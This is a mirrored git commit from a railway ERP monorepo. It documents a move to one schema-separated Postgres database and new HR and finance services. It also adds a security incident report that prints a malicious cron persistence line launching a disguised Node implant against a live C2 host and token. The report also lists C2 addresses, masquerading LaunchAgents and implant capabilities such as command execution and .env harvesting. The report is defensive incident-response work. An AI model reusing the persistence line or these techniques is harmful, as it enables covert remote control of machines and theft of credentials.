mirror of
https://github.com/Tria-plc/edr-platform.git
synced 2026-08-26 18:42:49 +00:00
Muluhabt ERP modules
This commit is contained in:
104
CLAUDE.md
104
CLAUDE.md
@@ -32,6 +32,10 @@ copying a pattern across:
|
||||
| `edr-passenger-web/portal` | `@edr/passenger-portal` | **Next.js** | 5174 |
|
||||
| `edr-passenger-web/backoffice` | `@edr/passenger-backoffice` | **Next.js** | 5184 |
|
||||
| `edr-payment-api` | `@edr/payment-api` | NestJS + **TypeORM** | 3003 |
|
||||
| `edr-hr-api` | `@edr/hr-api` | NestJS + **TypeORM** | 3005 |
|
||||
| `edr-hr-web` | `@edr/hr-web` | React + **Vite** | 5185 |
|
||||
| `finance-api` | `@edr/finance-api` | NestJS + **TypeORM** | 3004 |
|
||||
| `finance-web` | `@edr/finance-web` | React + **Vite** | 5186 |
|
||||
|
||||
Those are the **fallbacks compiled into the code**, not what you will be running. Every
|
||||
port is overridden by `PORT` in the app's `.env` / `.env.development`; the freight vite
|
||||
@@ -48,6 +52,58 @@ package and is not built, linted, or type-checked. Leave it alone unless asked.
|
||||
|
||||
`apps/edr-gps-tracker/` is a separate service with its own `.env.example`.
|
||||
|
||||
`apps/edr-hr-api/` owns the `hr` schema and is the HR extension of IAM: employee
|
||||
profiles hang off `iam.employees`, "departments" are `iam.units` with an HR
|
||||
satellite (`hr.unit_hr_profiles`), and job positions extend `iam.positions`. HR
|
||||
stores no copy of an employee's name, unit or organization — those are read
|
||||
through and joined at query time.
|
||||
|
||||
IAM access is split in two, and the split is the design:
|
||||
|
||||
- **Reads** go through `IamDirectoryService` — raw SQL projections over `iam.*`,
|
||||
no entities involved.
|
||||
- **Writes** go through `IamOperationsService`, which resolves IAM's own
|
||||
services out of the container (`ModuleRef.get(..., {strict: false})`) and
|
||||
calls them. HR never writes an `iam.*` table itself, so IAM's validation,
|
||||
transactions and audit trail all still apply.
|
||||
|
||||
That means hr-api **does** import `IamModule` (`IamModule.forRoot({...})`) and
|
||||
**does** register `@tria-plc/iamapi-common` entities. It sidesteps the stale
|
||||
`iamEntities` trap below by registering them as **globs over the package's
|
||||
`dist/`** rather than a hand-maintained class list, with `autoLoadEntities: false`
|
||||
— see `apps/edr-hr-api/src/config/database.config.ts`. A package bump cannot
|
||||
leave that list stale, because there is no list.
|
||||
|
||||
One consequence worth knowing before touching lifecycle code: IAM's
|
||||
`deactivateEmployee` ends every position the employee holds, and
|
||||
`activateEmployee` does **not** put them back. HR surfaces this rather than
|
||||
hiding it (`accessAlignment` on the profile response).
|
||||
|
||||
`apps/finance-api/` owns the `finance` schema — general ledger, chart of
|
||||
accounts, receivables, payables, budgets and fixed assets. It follows hr-api's
|
||||
shape exactly (embedded `IamModule.forRoot`, IAM entities registered as globs
|
||||
over both package dists, `autoLoadEntities: false`, migrations in
|
||||
`finance.migrations` run only by `migration:run`).
|
||||
|
||||
Two rules define it, and neither is negotiable:
|
||||
|
||||
- **Finance writes only `finance.*`.** Revenue, cash and payroll are projected
|
||||
**read-only** out of `freight`, `passenger`, `edr_payment` and `hr` with
|
||||
schema-qualified raw SQL, plus payment events off `PAYMENT_EVENTS_EXCHANGE`.
|
||||
No source app writes `finance.*`, and Finance writes none of theirs.
|
||||
- **Money is `numeric(14,2)` in major units.** The column NAMES lie upstream:
|
||||
everything on the payment-intent path is called `*Minor` but holds MAJOR
|
||||
amounts, while passenger's Prisma `Int` columns really are minor. Never infer
|
||||
the unit from the name — `apps/finance-api/src/common/money.ts` is the
|
||||
authority, and it also records which upstream rows are known bad.
|
||||
|
||||
Note both finance-api and hr-api serve `POST /api/v1/auth/login`: embedding
|
||||
`IamModule` brings IAM's auth controller with it. finance-web therefore
|
||||
authenticates against finance-api itself and needs no `x-client-app` header
|
||||
(both verified against the running services). `edr-hr-web` points its login at
|
||||
freight-api instead, on the assumption that an IAM-embedding app has no auth
|
||||
routes — that assumption is wrong, and the coupling is unnecessary.
|
||||
|
||||
## Packages
|
||||
|
||||
| Package | Location | Purpose |
|
||||
@@ -112,23 +168,44 @@ gate-pass scenarios). Read the script before running one; several write real row
|
||||
|
||||
## Environment & database
|
||||
|
||||
- Postgres is **external**. There is no postgres service in `docker-compose.yaml`, and
|
||||
no port `5433`/`5434` is published anywhere in the repo.
|
||||
- **One database, schema-separated.** Every app connects to the SAME Postgres database
|
||||
and is isolated by schema, not by database — `iam`, `freight`, `passenger`,
|
||||
`edr_payment`, `audit`. This mirrors production, where the Smart Office database holds
|
||||
the `freight` schema alongside the rest (see `dump-smart_office_prod-*.sql`). There is
|
||||
no longer a per-domain database; do not add one.
|
||||
- Postgres is **external** to `docker-compose.yaml` (no service there). For a local one,
|
||||
`infrastructure/docker/docker-compose.db.dev.yml` starts a single `postgres` on 5432
|
||||
(`edr_database`) and creates every schema via `infrastructure/docker/initdb/`.
|
||||
- Freight API connection comes from `DB_HOST`, `DB_PORT`, `DB_USER`, `DB_PASSWORD`,
|
||||
`DB_NAME` (defaults: `localhost:5433`, `edr_freight`). Development points these at a
|
||||
remote database.
|
||||
`DB_NAME` (defaults: `localhost:5432`, `edr_database`). Development points these at a
|
||||
remote database. `edr-gps-tracker` and `edr-payment-api` read the same DB_* convention;
|
||||
`edr-passenger-api` uses `DATABASE_URL` (Prisma, `?schema=passenger`) plus
|
||||
`DATABASE_*`/`DATABASE_SCHEMA=iam` for its read-only TypeORM IAM connection — all three
|
||||
must resolve to this one database.
|
||||
- The connection sits behind a **connection pooler**. Do **not** pass
|
||||
`extra.options: '-c search_path=…'` — the pooler rejects it with
|
||||
`08P01 unsupported startup parameter in options: search_path`. `search_path` is applied
|
||||
per-connection in a pool `connect` handler instead. See
|
||||
`apps/edr-freight-api/src/config/database.config.ts` before touching connection options.
|
||||
- Each app owns its own database. **No cross-database joins**; cross-domain data flows
|
||||
through API calls or message queues.
|
||||
- IAM tables live in their own `iam` schema (`iam.users`, `iam.user_credentials`),
|
||||
freight tables in `freight`.
|
||||
- `psql` is not installed on the dev machine. To query the database, use the `edr-db`
|
||||
skill (below) or write a short Node script using `pg` and run it from
|
||||
`apps/edr-freight-api`, where `pg` resolves.
|
||||
- Each app owns its own **schema**, and its own migration history in that schema:
|
||||
`iam.typeorm_migrations` and `freight.migrations` (both applied by freight-api),
|
||||
`passenger._prisma_migrations` (Prisma), and payment-api's own table in `edr_payment`.
|
||||
An app never writes another app's schema.
|
||||
- IAM tables live in the `iam` schema (`iam.users`, `iam.user_credentials`), freight
|
||||
tables in `freight`. **`edr-freight-api` is the authoritative owner of the `iam`
|
||||
schema** — it ships the `iam:migration:run|show|revert` scripts. Passenger's IAM
|
||||
connection is read-only (`synchronize: false`, `migrationsRun: false`).
|
||||
- **Cross-schema references stay soft.** Co-location makes hard FKs possible, but there
|
||||
are zero FKs from `freight.*` into `iam.*` and that is deliberate: references are plain
|
||||
UUID columns plus denormalized display fields, so IAM stays independently deployable and
|
||||
the audit trail outlives a deleted user. Keep it that way in new modules.
|
||||
- The e2e harnesses are the **one exception** and stay hermetic: `edr_freight_e2e` on 5533
|
||||
(`e2e/freight/`) and the passenger test DB on 5544 (`e2e/docker-compose.yml`). Do not
|
||||
point them at the shared database.
|
||||
- `psql` **is** installed (Homebrew, v17.9 — verified 2026-08-19); the earlier claim that
|
||||
it was not is out of date. Either use it directly against the local database, or use the
|
||||
`edr-db` skill (below) / a short Node script using `pg` run from `apps/edr-freight-api`,
|
||||
where `pg` resolves.
|
||||
|
||||
## Hard rules
|
||||
|
||||
@@ -340,6 +417,11 @@ hand; do not assume the hook caught it.
|
||||
| Watch-mode reload | New code, old schema → 500 | Apply the migration to the dev DB or restart fully |
|
||||
| Login 403 from curl | "Missing or unrecognized x-client-app header" | Send `x-client-app: backoffice` or `portal` |
|
||||
| Copying a passenger pattern into freight | Passenger is Prisma + Next.js, freight is TypeORM + Vite | Check which stack you are in first |
|
||||
| Binding `payment.*` on the payment exchange | Silently receives NOTHING — wire keys are three words (`payment.passenger.succeeded`) and AMQP `*` matches exactly one | Bind `payment.<service>.*` for one service, or `payment.#` for all |
|
||||
| Summing money across currencies | Passenger bookings are charged in ETB, DJF **and** USD; adding them overstates ETB revenue (6.3M on the dev replica) | Group by currency; convert only at an explicitly recorded rate |
|
||||
| Reading a `DATE` column in raw SQL | node-postgres parses it to LOCAL midnight, so `toISOString().slice(0,10)` returns the PREVIOUS day east of UTC — a month-end lands in the wrong period | Cast in SQL: `period_end::text`. Never round-trip a DATE through a JS `Date` |
|
||||
| A `CHECK` listing enum values wider than the column | `varchar(16)` accepted every status until the 17-character one was first used, then failed mid-operation | Size the column for the LONGEST permitted value |
|
||||
| A service opening its own transaction inside a caller's | The inner write commits independently; a later failure leaves an orphaned posted row | Pass the caller's `EntityManager` through (see `JournalsService.createPosted`) |
|
||||
|
||||
## Project skills
|
||||
|
||||
|
||||
@@ -129,6 +129,101 @@ node server.js
|
||||
|
||||
Next.js reads `PORT` from the runtime environment (supplied via `env_file` in docker-compose). The standalone output bundles only the required `node_modules`, producing a significantly smaller image than a full `pnpm deploy`.
|
||||
|
||||
## Database consolidation runbook (single schema-separated database)
|
||||
|
||||
The platform runs on **one** Postgres database, separated by schema — `iam`, `freight`,
|
||||
`passenger`, `edr_payment`, `audit`. This is the production topology (the
|
||||
`dump-smart_office_prod-*.sql` dump is the `freight` schema of a Smart Office database),
|
||||
and dev/local configs now match it.
|
||||
|
||||
Environments that predate this ran freight on its own server (`5433`, database
|
||||
`edr_freight`) with a **second copy of the `iam` schema**, while passenger and payment used
|
||||
another database. Use this sequence to collapse them. It is a data move — the config
|
||||
changes alone do not migrate a single row.
|
||||
|
||||
**Authoritative copy: `edr_freight`'s `iam`.** It is the copy freight-api's
|
||||
`iam:migration:run|show|revert` scripts have been applying migrations to, so its schema is
|
||||
the most current. The other copy's rows are backfilled into it, never the reverse.
|
||||
|
||||
### 1. Snapshot both sources
|
||||
|
||||
```bash
|
||||
pg_dump -Fc -h <old-freight-host> -p 5433 -d edr_freight -f pre-consolidation-freight.dump
|
||||
pg_dump -Fc -h <old-shared-host> -p 5432 -d edr_database -f pre-consolidation-shared.dump
|
||||
```
|
||||
|
||||
### 2. Create the target database and schemas
|
||||
|
||||
Under compose this is automatic (`infrastructure/docker/initdb/01-schemas.sql`). Against an
|
||||
existing server:
|
||||
|
||||
```sql
|
||||
CREATE DATABASE edr_database;
|
||||
\connect edr_database
|
||||
CREATE SCHEMA IF NOT EXISTS iam;
|
||||
CREATE SCHEMA IF NOT EXISTS freight;
|
||||
CREATE SCHEMA IF NOT EXISTS passenger;
|
||||
CREATE SCHEMA IF NOT EXISTS edr_payment;
|
||||
CREATE SCHEMA IF NOT EXISTS audit;
|
||||
```
|
||||
|
||||
### 3. Restore the authoritative IAM first, then freight
|
||||
|
||||
```bash
|
||||
# iam — including iam.typeorm_migrations, so freight-api does not re-run applied migrations
|
||||
pg_restore -d edr_database -n iam pre-consolidation-freight.dump
|
||||
# freight — including freight.migrations
|
||||
pg_restore -d edr_database -n freight pre-consolidation-freight.dump
|
||||
```
|
||||
|
||||
### 4. Restore the other domains
|
||||
|
||||
```bash
|
||||
pg_restore -d edr_database -n passenger pre-consolidation-shared.dump
|
||||
pg_restore -d edr_database -n edr_payment pre-consolidation-shared.dump
|
||||
```
|
||||
|
||||
Do **not** restore the second `iam` schema over the first. Back its rows in instead:
|
||||
`iam.users.username`, `.email` and `.phone_number` are all `UNIQUE`, so the two copies
|
||||
reconcile on those columns. Insert only users present in the secondary copy and absent from
|
||||
the authoritative one, and record the old→new id mapping — anything that stored the
|
||||
secondary copy's user ids (audit rows, `*_user_id` columns in `passenger`) must be remapped
|
||||
with it. Cross-schema references are soft UUIDs with no FK to catch a miss.
|
||||
|
||||
### 5. Repoint the applications
|
||||
|
||||
| App | Variables | Value |
|
||||
| --- | --- | --- |
|
||||
| `edr-freight-api` | `DB_HOST` `DB_PORT` `DB_USER` `DB_PASSWORD` `DB_NAME` | the consolidated database |
|
||||
| `edr-gps-tracker` | same `DB_*` | same |
|
||||
| `edr-payment-api` | same `DB_*` (+ `DB_SCHEMA=edr_payment`) | same |
|
||||
| `edr-passenger-api` | `DATABASE_URL` (`?schema=passenger`) **and** `DATABASE_HOST/PORT/NAME/USER/PASSWORD` (+ `DATABASE_SCHEMA=iam`) | same |
|
||||
|
||||
Both of passenger-api's connections must resolve to this one database — its Prisma URL and
|
||||
its read-only TypeORM IAM connection are configured separately and can silently diverge.
|
||||
|
||||
### 6. Verify before opening traffic
|
||||
|
||||
```sql
|
||||
-- every expected schema present
|
||||
SELECT nspname FROM pg_namespace WHERE nspname IN
|
||||
('iam','freight','passenger','edr_payment','audit');
|
||||
-- migration histories carried over: no re-runs, no gaps
|
||||
SELECT count(*) FROM iam.typeorm_migrations; -- matches the source count
|
||||
SELECT count(*) FROM freight.migrations; -- matches the source count
|
||||
-- no duplicate humans after the IAM backfill
|
||||
SELECT username, count(*) FROM iam.users GROUP BY username HAVING count(*) > 1;
|
||||
```
|
||||
|
||||
Then run freight-api's migration step (`docker build --target migration`) and confirm it
|
||||
applies **zero** new migrations — a non-zero count means step 3 dropped a history table.
|
||||
|
||||
### Out of scope
|
||||
|
||||
The e2e harnesses stay hermetic and are deliberately untouched: `edr_freight_e2e` on 5533
|
||||
(`e2e/freight/`) and the passenger test database on 5544 (`e2e/docker-compose.yml`,
|
||||
`apps/edr-passenger-api/.env.test`).
|
||||
|
||||
## Rollback Procedure
|
||||
|
||||
Each build is tagged with the short git SHA (`${COMPOSE_PROJECT_NAME}-<service>:<sha8>`).
|
||||
|
||||
19
README.md
19
README.md
@@ -189,8 +189,9 @@ Monorepo for the **Ethio-Djibouti Railway** digital platform. Hosts two product
|
||||
|
||||
### Domain isolation
|
||||
|
||||
- **One database per domain.** `postgres-freight` (port 5433, db `edr_freight`) and `postgres-passenger` (port 5434, db `edr_passenger`). No cross-database joins. Cross-domain data flows only through API calls or message queues.
|
||||
- **Each domain owns its data model.** Freight bookings/consignments/shipments/trains/invoices/documents live only in the freight DB; passenger journeys/tickets live only in the passenger DB.
|
||||
- **One database, one schema per domain.** All apps connect to the same Postgres database (`DB_NAME`/`DATABASE_NAME`, default `edr_database` on 5432) and are separated by schema: `freight`, `passenger`, `iam`, `edr_payment`, `audit`. This mirrors production, where the Smart Office database holds the `freight` schema alongside the rest.
|
||||
- **Each domain owns its schema and its own migration history.** Freight bookings/consignments/shipments/trains/invoices/documents live only in `freight`; passenger journeys/tickets only in `passenger`. A domain never writes another domain's schema — cross-domain data still flows through API calls or message queues, not joins.
|
||||
- **Cross-schema references stay soft.** Co-location makes hard foreign keys possible; the platform deliberately does not use them (there are zero FKs from `freight.*` into `iam.*`). References are plain UUID columns plus denormalized display fields, so IAM stays independently deployable and the audit trail outlives a deleted user.
|
||||
|
||||
### NestJS module pattern (per feature)
|
||||
|
||||
@@ -294,7 +295,7 @@ cp apps/edr-passenger-api/.env.example apps/edr-passenger-api/.env
|
||||
|----------|-------------|---------|
|
||||
| `NODE_ENV` | Environment mode | `development` |
|
||||
| `PORT` | HTTP server port | `4000` |
|
||||
| `DATABASE_URL` | PostgreSQL connection string | `postgresql://user:pass@localhost:5432/edr_passenger` |
|
||||
| `DATABASE_URL` | PostgreSQL connection string (shared DB, `passenger` schema) | `postgresql://edr:edr_secret@localhost:5432/edr_database?schema=passenger` |
|
||||
| `JWT_SECRET` | JWT signing secret (change in production) | `your-secret-key` |
|
||||
| `JWT_EXPIRES_IN` | JWT token expiry | `7d` |
|
||||
| `PORTAL_URL` | Web app CORS origin | `http://localhost:3000` |
|
||||
@@ -336,12 +337,20 @@ TELEBIRR_APP_SECRET=your-app-secret
|
||||
#### Start PostgreSQL
|
||||
```bash
|
||||
# Using Docker (recommended)
|
||||
# Prefer infrastructure/docker/docker-compose.db.dev.yml — it creates every schema
|
||||
# on first boot. This is the equivalent one-liner:
|
||||
docker run --name edr-postgres \
|
||||
-e POSTGRES_USER=edr \
|
||||
-e POSTGRES_PASSWORD=edr_secret \
|
||||
-e POSTGRES_DB=edr_passenger \
|
||||
-e POSTGRES_DB=edr_database \
|
||||
-p 5432:5432 \
|
||||
-d postgres:15
|
||||
-d postgres:17-alpine
|
||||
|
||||
# Then create the schemas (initdb does this for you under compose):
|
||||
docker exec -i edr-postgres psql -U edr -d edr_database -c \
|
||||
'CREATE SCHEMA IF NOT EXISTS iam; CREATE SCHEMA IF NOT EXISTS freight;
|
||||
CREATE SCHEMA IF NOT EXISTS passenger; CREATE SCHEMA IF NOT EXISTS edr_payment;
|
||||
CREATE SCHEMA IF NOT EXISTS audit;'
|
||||
|
||||
# Or use your local PostgreSQL installation
|
||||
```
|
||||
|
||||
186
SECURITY-INCIDENT-2026-08-24.md
Normal file
186
SECURITY-INCIDENT-2026-08-24.md
Normal file
@@ -0,0 +1,186 @@
|
||||
# Security incident — 2026-08-24 (second event, same day)
|
||||
|
||||
Supersedes the first write-up of 2026-08-24 ~01:15, which was lost in the data destruction
|
||||
described below. This document was reconstructed after containment.
|
||||
|
||||
**Status: contained, NOT remediated.** Every implant found has been killed and quarantined, but
|
||||
the depth of compromise justifies rebuilding this machine rather than trusting the cleanup.
|
||||
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
Two distinct command-and-control implants were found running, both from the same toolkit
|
||||
(internally named **"SSTAR"**). One of them was running at the exact minute a large portion of the
|
||||
working tree was destroyed. Credentials for payment providers, SMS/email gateways, JWT signing and
|
||||
databases were readable on disk throughout, by an implant with file-upload capability.
|
||||
|
||||
| | |
|
||||
|---|---|
|
||||
| C2 #1 | `23.27.13.135` (ports 80/443) — the fileless `node -e` loader from the 01:15 event |
|
||||
| C2 #2 | `194.11.226.41:4000` (`ip-194-11-226-41.rockhoster.net`) — new, found 2026-08-24 ~15:45 |
|
||||
| Shared token | `zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9` (`SSTAR_DEPLOYMENT_HASH`) |
|
||||
| Data destroyed | `edr/edr-platform` working tree, ~11:11–11:13 local |
|
||||
| Recovered to | 2026-08-22 14:38 (user restore) — **~2 days of work lost** |
|
||||
|
||||
---
|
||||
|
||||
## Timeline (local time, 2026-08-24)
|
||||
|
||||
| Time | Event |
|
||||
|---|---|
|
||||
| ~01:15 | First implant found and killed (`node -e` loader → `23.27.13.135`). Persistence search covered LaunchAgents, LaunchDaemons, crontab, shell rc files — **the crontab entry and three LaunchAgents were missed.** |
|
||||
| 09:41 | `com.VSCodeUpdater` LaunchAgent spawns `tg14xq.js`; `~/.config/runtimedev-link/` created |
|
||||
| **11:11** | `tg14xq.js` process (PID 32775) starts — **same minute the destruction begins** |
|
||||
| 11:11–11:13 | `edr/edr-platform` destroyed. Only four `apps/` subdirectories survive — exactly those with live dev servers holding them as CWD, which recreated their own paths on the next cache write |
|
||||
| 11:43 | The `node -e` loader respawns (PID 55417) → `23.27.13.135` |
|
||||
| 14:41 | Implants **self-update**: `tg14xq.js` rewritten, both fake-Apple LaunchAgents rewritten, new agent process spawned |
|
||||
| ~15:45 | Full sweep finds all persistence; everything killed and quarantined |
|
||||
|
||||
---
|
||||
|
||||
## What was found
|
||||
|
||||
### 1. Cron persistence (missed by the first sweep)
|
||||
|
||||
```
|
||||
@reboot sleep 30 && node "~/Library/Application Support/VSCodeUpdater/tg14xq.js" \
|
||||
--token "http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9"
|
||||
```
|
||||
|
||||
Not a real VS Code updater — Microsoft ships no such thing, does not use cron, and does not pass a
|
||||
bare IP and token as `--token`.
|
||||
|
||||
### 2. Three malicious LaunchAgents in `~/Library/LaunchAgents/`
|
||||
|
||||
| Plist | What it ran | Notes |
|
||||
|---|---|---|
|
||||
| `com.VSCodeUpdater.plist` | `tg14xq.js` | **`KeepAlive: true`** — this is why killing the process at 01:15 did not stop it |
|
||||
| `com.apple.softwareupdate.agent.plist` | `~/Library/Caches/com.apple.softwareupdate/softwareupdated` | Masquerades as Apple. The real agent lives in `/System/Library`, never in `~/Library` |
|
||||
| `com.apple.softwareupdate.background.plist` | same binary, `KeepAlive: true` | same |
|
||||
|
||||
### 3. Payloads
|
||||
|
||||
- **`tg14xq.js`** (62 KB, obfuscator.io-style) — SHA-256
|
||||
`4e3d4708c2f1ff1cd68013810e7b854a0a5159e6dd95a9ce3ad5198ebd816082`.
|
||||
Capabilities decoded from its string table: `execSync`/`spawnSync` (**arbitrary command
|
||||
execution**), directory-tree scanning (`SSTAR_DIR_TREE_ROOT`, `postDirectoryScanResult`), file
|
||||
download **and upload**, `.env` harvesting, Chrome extension enumeration, host/user/IP
|
||||
fingerprinting, and cross-platform persistence (launchd here, systemd on Linux).
|
||||
- **`softwareupdated`** — Mach-O x86_64, 13 KB, disguised in a *cache* directory.
|
||||
- **`CatalogData`** (145 KB) — a **Python** payload disguised as an icon-services cache. Cover
|
||||
story in its own docstring: ".NET Runtime Optimization Service". It literally contains the line
|
||||
`[LEGITIMATE DESCRIPTION REMOVED FOR OPSEC]`, plus comments referring to "the organizer",
|
||||
"teammates", and what they "should see: nothing". Capability counts: `subprocess` ×72,
|
||||
`password` ×31, `SCREENSHOT` ×31, `.env` ×33, `shutil.rmtree` ×2, `upload`, `token`.
|
||||
- **`~/.config/runtimedev-link/agent.env`** — `SSTAR_API_BASE`, `SSTAR_DEPLOYMENT_HASH`.
|
||||
|
||||
---
|
||||
|
||||
## Did the implants destroy the tree?
|
||||
|
||||
**Most likely yes, but not provable from local artifacts — and worth stating honestly.**
|
||||
|
||||
Ruled out with evidence:
|
||||
- `npx vite` (run one minute earlier) — **no npm activity at all** in that window; vite resolved
|
||||
from local `node_modules`.
|
||||
- `edr-local.sh` — contains only `rm -f` on a tempfile and a pidfile.
|
||||
- Assistant-issued commands — the only `rm`s in the session were one temp file under `dist/` and
|
||||
files under `/tmp`.
|
||||
|
||||
What points at the implants: `tg14xq.js` started at exactly 11:11, and it carries arbitrary
|
||||
`execSync`. What is missing: any local record of the specific command. The RAT takes instructions
|
||||
from C2 and does not log them, and the Python agent's own log (28,327 of 28,354 lines being the
|
||||
same "another instance already running" error) shows nothing at 11:11. So the deletion was almost
|
||||
certainly an **operator-issued command through the RAT**, which by design leaves no local trace.
|
||||
|
||||
One detail still unexplained: `fhcapi` and `fhcui` appeared missing at 11:13 and are present now
|
||||
with untouched July timestamps, which a delete-then-restore would not produce given only
|
||||
`edr-platform` was restored.
|
||||
|
||||
---
|
||||
|
||||
## Credential exposure — assume ALL of these are compromised
|
||||
|
||||
An implant with `.env` harvesting and file upload had read access to the whole workspace for at
|
||||
least the 09:41–15:45 window, and plausibly since the 01:15 event or earlier. Secret **names**
|
||||
found across `apps/*/.env` (values deliberately not reproduced here):
|
||||
|
||||
**Payment providers** — `TELEBIRR_APP_SECRET`, `TELEBIRR_PRIVATE_KEY`, `TELEBIRR_PUBLIC_KEY`,
|
||||
`WAAFI_HPP_KEY`, `WAAFI_WEBHOOK_SECRET`, `CBE_SECRET_KEY`, `CARD_API_KEY`, `CARD_WEBHOOK_SECRET`
|
||||
|
||||
**Identity / auth** — `JWT_SECRET`, `JWT_ACCESS_TOKEN_SECRET`, `JWT_REFRESH_TOKEN_SECRET`,
|
||||
`FAYDA_PRIVATE_KEY_BASE` (national ID integration), `IAM_API_KEY`,
|
||||
`SUPER_ADMIN_DEFAULT_PASSWORD`, `DEFAULT_PASSWORD`
|
||||
|
||||
**Infrastructure** — `DB_PASSWORD`, `DATABASE_PASSWORD`, `MINIO_ACCESS_KEY`, `MINIO_SECRET_KEY`
|
||||
|
||||
**Messaging** — `TWILIO_AUTH_TOKEN`, `SENDGRID_API_KEY`, `SMS_API_KEY`
|
||||
|
||||
Also on disk: four SSH private keys (`id_rsa`, `id_ed25519`, `id_dsa`), and this machine holds a
|
||||
**replica of the production database**.
|
||||
|
||||
The JWT secrets are the most urgent of these: with them, an attacker can forge valid sessions for
|
||||
any user of the platform, including super admins, without touching this machine again.
|
||||
|
||||
Checked and clean: `~/.ssh/authorized_keys` contains only the owner's own key — no SSH backdoor
|
||||
was added. `~/.npmrc` holds no auth token, but does set `ignore-scripts=false`, which leaves npm
|
||||
lifecycle scripts enabled — the standard supply-chain vector, and worth reconsidering.
|
||||
|
||||
---
|
||||
|
||||
## Containment performed (2026-08-24 ~15:45–15:55)
|
||||
|
||||
1. Evidence captured before any change: crontab, both payloads, process/network detail, hashes.
|
||||
2. Killed PIDs 32775, 90079, 89857, 89797, 48518, 55417.
|
||||
3. `crontab -r` (backup saved to the evidence directory first).
|
||||
4. `launchctl bootout` + quarantine of all three plists.
|
||||
5. Quarantined `~/Library/Application Support/VSCodeUpdater/`,
|
||||
`~/Library/Caches/com.apple.softwareupdate/`, `~/Library/Caches/com.apple.iconservices.store/`,
|
||||
`~/.config/runtimedev-link/`.
|
||||
6. Verified after 20s: no implant processes, no connections to either C2, nothing malicious
|
||||
registered with launchd. The only remaining `softwareupdate` processes are genuine Apple ones
|
||||
running as `_softwareupdate` from `/System/Library`.
|
||||
|
||||
Evidence and quarantine (session scratchpad, **copy it somewhere durable**):
|
||||
`…/74e086a2-21d3-4772-ba96-f1026f24f1c3/scratchpad/incident-2/`
|
||||
|
||||
---
|
||||
|
||||
## Still outstanding
|
||||
|
||||
1. **Take this machine off the network.** Not done — it would sever the session performing the
|
||||
cleanup.
|
||||
2. **Rebuild rather than trust the cleanup.** Two C2s, self-updating payloads, Apple-masquerading
|
||||
persistence and at least four persistence mechanisms across two toolchains (Node and Python) —
|
||||
with that depth, "we found all of it" is not a safe assumption.
|
||||
3. **Rotate every credential above, from a different machine.** Rotating from this host is
|
||||
pointless if anything was missed.
|
||||
4. **Recover the lost work from the Aug 23 22:54 APFS snapshot** (see below) before redoing it.
|
||||
5. Origin still unestablished, across both events. The first event's `global['e']="NPM"` marker and
|
||||
`ignore-scripts=false` suggest an npm-lifecycle vector, but nothing was proven.
|
||||
6. Assume **source code was exfiltrated** — the RAT scanned and uploaded directory trees.
|
||||
|
||||
---
|
||||
|
||||
## Data recovery
|
||||
|
||||
The restore used was from **2026-08-22 14:38**, losing roughly two days: the entire HR/Finance
|
||||
navigation redesign (all seven slices), `docs/prompts/`, the nav redesign plan and report, the
|
||||
first incident write-up, and all of 2026-08-24's work. None of it was committed to git.
|
||||
|
||||
**A better source exists** — a local APFS snapshot from **Aug 23 22:54**, a full day newer:
|
||||
|
||||
```bash
|
||||
tmutil listlocalsnapshots /
|
||||
sudo mkdir -p /tmp/snap
|
||||
sudo mount_apfs -o ro -s com.apple.TimeMachine.2026-08-23-225456.local / /tmp/snap
|
||||
ls /tmp/snap/Users/mulumehari/mulu-projects/smart-office/smartofficerepos/edr/edr-platform
|
||||
```
|
||||
|
||||
It should contain nav redesign slices 1–5 (and possibly 6). Slice 7 and everything on Aug 24 will
|
||||
not be there. The Time Machine destination "MacBackup" is configured but was not mounted at the
|
||||
time of checking — connect it and it may hold more.
|
||||
|
||||
Not lost: everything in PostgreSQL. The HR and Finance permission seeds and all eight e2e fixture
|
||||
personas survive, since the databases were untouched.
|
||||
@@ -30,7 +30,7 @@
|
||||
| Backoffice | `@edr/freight-backoffice` | 5183 | axios `auth/http.ts`, baseURL `${VITE_BASE_API_URL}/api`, React Query |
|
||||
| Freight API | `@edr/freight-api` | 3001 | NestJS, global prefix `/api`, Postgres schema `freight` |
|
||||
| Payment API | `@edr/payment-api` | 3003 | NestJS, separate schema `edr_payment`, providers in `@edr/payment-providers` |
|
||||
| Datastores | — | 5433 | Postgres `edr_freight`; MinIO (files); RabbitMQ (SMS/email/payment events) |
|
||||
| Datastores | — | 5432 | Postgres `edr_database`, schema `freight` (one platform DB, schema-separated); MinIO (files); RabbitMQ (SMS/email/payment events) |
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
|
||||
@@ -150,10 +150,15 @@ function buildConnectionOptions() {
|
||||
return {
|
||||
type: "postgres" as const,
|
||||
host: process.env.DB_HOST ?? "localhost",
|
||||
port: parseInt(process.env.DB_PORT ?? "5433", 10),
|
||||
username: process.env.DB_USER ?? "postgres",
|
||||
password: process.env.DB_PASSWORD ?? "",
|
||||
database: process.env.DB_NAME ?? "edr_freight",
|
||||
port: parseInt(process.env.DB_PORT ?? "5432", 10),
|
||||
username: process.env.DB_USER ?? "edr",
|
||||
password: process.env.DB_PASSWORD ?? "edr_secret",
|
||||
// Single database, schema-separated: freight, passenger, iam, edr_payment and
|
||||
// audit are schemas inside ONE Postgres database — the deployed topology (the
|
||||
// production dump `dump-smart_office_prod-*.sql` is the `freight` schema of a
|
||||
// Smart Office database). Freight owns the `freight` and `iam` schemas here;
|
||||
// passenger-api and payment-api connect to the same database on their own.
|
||||
database: process.env.DB_NAME ?? "edr_database",
|
||||
// NOTE: do NOT pass `extra.options: '-c search_path=...'`. That sends the
|
||||
// Postgres startup `options` parameter, which connection poolers (PgBouncer /
|
||||
// proxies fronting the remote edr_dev DB) reject with
|
||||
|
||||
@@ -1,12 +1,16 @@
|
||||
import 'dotenv/config';
|
||||
import { Client } from 'pg';
|
||||
|
||||
async function createSchema() {
|
||||
// Connects to the single platform database — the same one the app uses — and
|
||||
// ensures only the schema this app owns. Reads the standard DB_* env so it can
|
||||
// never drift from config/database.config.ts.
|
||||
const client = new Client({
|
||||
host: 'localhost',
|
||||
port: 5432,
|
||||
user: 'postgres',
|
||||
password: '',
|
||||
database: 'edr_freight',
|
||||
host: process.env.DB_HOST ?? 'localhost',
|
||||
port: parseInt(process.env.DB_PORT ?? '5432', 10),
|
||||
user: process.env.DB_USER ?? 'edr',
|
||||
password: process.env.DB_PASSWORD ?? 'edr_secret',
|
||||
database: process.env.DB_NAME ?? 'edr_database',
|
||||
});
|
||||
|
||||
try {
|
||||
|
